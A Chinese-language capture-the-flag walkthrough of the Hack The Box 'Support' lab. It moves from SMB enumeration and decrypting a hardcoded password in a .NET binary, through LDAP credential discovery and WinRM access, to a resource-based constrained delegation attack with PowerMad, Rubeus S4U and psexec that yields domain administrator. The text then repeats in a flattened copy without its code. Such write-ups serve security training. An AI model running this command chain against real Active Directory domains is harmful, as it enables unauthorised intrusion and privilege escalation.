hackthebox靶机Support
字数 1362 2025-08-11 08:35:57

HTB靶机Support渗透测试报告

1. 信息收集

1.1 端口扫描

使用Nmap进行全端口扫描:

nmap -sV -sC -sS -p 1-10000 10.10.11.174

扫描结果:

  • 53/tcp: DNS服务
  • 88/tcp: Kerberos服务
  • 135/tcp: RPC服务
  • 139/tcp: NetBIOS服务
  • 389/tcp: LDAP服务(域: support.htb)
  • 445/tcp: SMB服务
  • 5985/tcp: WinRM服务
  • 其他端口: 各种Windows服务

1.2 SMB共享枚举

使用smbclient查看共享:

smbclient -N -L //10.10.11.174

发现support-tools共享,下载其中的UserInfo.exe.zip文件:

smbclient -N //10.10.11.174/support-tools
get UserInfo.exe.zip

2. 密码提取

2.1 反编译分析

使用dnSpy工具反编译UserInfo.exe,发现关键代码:

internal class Protected {
    public static string getPassword() {
        byte[] array = Convert.FromBase64String(Protected.enc_password);
        byte[] array2 = array;
        for (int i = 0; i < array.Length; i++) {
            array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
        }
        return Encoding.Default.GetString(array2);
    }
    
    private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
    private static byte[] key = Encoding.ASCII.GetBytes("armando");
}

2.2 密码解密

编写Python脚本解密密码:

import base64

array = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
array2 = ''

for i in range(len(array)):
    array2 += chr(array[i] ^ key[i % len(key)] ^ 223)

print(array2)

解密得到密码:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

3. LDAP枚举

3.1 LDAP连接

使用ldapsearch命令连接LDAP服务器:

ldapsearch -H ldap://10.10.11.174:389 -D ldap@support.htb -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "Administrator"

3.2 图形化界面

使用Apache Directory Studio连接LDAP:

  1. 新建连接
  2. 输入连接名和域名
  3. 输入Bind DN和密码
  4. 检查连接成功后完成

在Users下找到support用户,发现info字段包含密码:Ironside47pleasure40Watchful

4. 初始访问

4.1 WinRM连接

使用evil-winrm连接目标:

evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i support.htb

C:\Users\Support\Desktop目录获取user.txt

5. 权限提升

5.1 域信息收集

查看当前域信息:

Get-ADDomain

查看当前用户所属组:

whoami /groups

5.2 基于资源的约束委派攻击

5.2.1 攻击条件检查

检查ms-DS-MachineAccountQuota属性:

Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

检查msds-allowedtoactonbehalfofotheridentity属性:

Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity

5.2.2 创建机器账户

使用PowerMad创建新机器账户:

New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)

验证创建:

Get-ADComputer -identity FAKE-COMP01

5.2.3 配置委派

设置DC允许FAKE-COMP01代表它行事:

Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$

验证设置:

Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount

5.2.4 S4U攻击

使用Rubeus获取机器账户的hash:

./Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb

获取到RC4_HMAC值:58A478135A93AC3BF058A5EA0E8FDB71

执行S4U攻击:

./rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt

5.2.5 票据转换与利用

将票据转换为impacket可用的格式:

python ticketConverter.py ticket.kirbi ticket.ccache

使用psexec获取shell:

KRB5CCNAME=ticket.ccache ./psexec.py support.htb/administrator@dc.support.htb -k -no-pass

C:\Users\Administrator\Desktop目录获取root.txt

6. 总结

本次渗透测试的关键步骤:

  1. 通过SMB共享获取包含密码的应用程序
  2. 反编译分析获取LDAP密码
  3. 通过LDAP查询获取用户凭据
  4. 利用基于资源的约束委派进行权限提升
  5. 最终获取域管理员权限

7. 参考工具

  1. dnSpy: .NET反编译工具
  2. Apache Directory Studio: LDAP图形化工具
  3. Evil-WinRM: WinRM连接工具
  4. PowerSploit/PowerView: PowerShell AD信息收集工具
  5. PowerMad: 机器账户操作工具
  6. Rubeus: Kerberos攻击工具
  7. Impacket: 网络协议工具集
HTB靶机Support渗透测试报告 1. 信息收集 1.1 端口扫描 使用Nmap进行全端口扫描: 扫描结果: 53/tcp: DNS服务 88/tcp: Kerberos服务 135/tcp: RPC服务 139/tcp: NetBIOS服务 389/tcp: LDAP服务(域: support.htb) 445/tcp: SMB服务 5985/tcp: WinRM服务 其他端口: 各种Windows服务 1.2 SMB共享枚举 使用smbclient查看共享: 发现 support-tools 共享,下载其中的 UserInfo.exe.zip 文件: 2. 密码提取 2.1 反编译分析 使用dnSpy工具反编译 UserInfo.exe ,发现关键代码: 2.2 密码解密 编写Python脚本解密密码: 解密得到密码: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz 3. LDAP枚举 3.1 LDAP连接 使用ldapsearch命令连接LDAP服务器: 3.2 图形化界面 使用Apache Directory Studio连接LDAP: 新建连接 输入连接名和域名 输入Bind DN和密码 检查连接成功后完成 在Users下找到support用户,发现info字段包含密码: Ironside47pleasure40Watchful 4. 初始访问 4.1 WinRM连接 使用evil-winrm连接目标: 在 C:\Users\Support\Desktop 目录获取user.txt 5. 权限提升 5.1 域信息收集 查看当前域信息: 查看当前用户所属组: 5.2 基于资源的约束委派攻击 5.2.1 攻击条件检查 检查ms-DS-MachineAccountQuota属性: 检查msds-allowedtoactonbehalfofotheridentity属性: 5.2.2 创建机器账户 使用PowerMad创建新机器账户: 验证创建: 5.2.3 配置委派 设置DC允许FAKE-COMP01代表它行事: 验证设置: 5.2.4 S4U攻击 使用Rubeus获取机器账户的hash: 获取到RC4_ HMAC值: 58A478135A93AC3BF058A5EA0E8FDB71 执行S4U攻击: 5.2.5 票据转换与利用 将票据转换为impacket可用的格式: 使用psexec获取shell: 在 C:\Users\Administrator\Desktop 目录获取root.txt 6. 总结 本次渗透测试的关键步骤: 通过SMB共享获取包含密码的应用程序 反编译分析获取LDAP密码 通过LDAP查询获取用户凭据 利用基于资源的约束委派进行权限提升 最终获取域管理员权限 7. 参考工具 dnSpy: .NET反编译工具 Apache Directory Studio: LDAP图形化工具 Evil-WinRM: WinRM连接工具 PowerSploit/PowerView: PowerShell AD信息收集工具 PowerMad: 机器账户操作工具 Rubeus: Kerberos攻击工具 Impacket: 网络协议工具集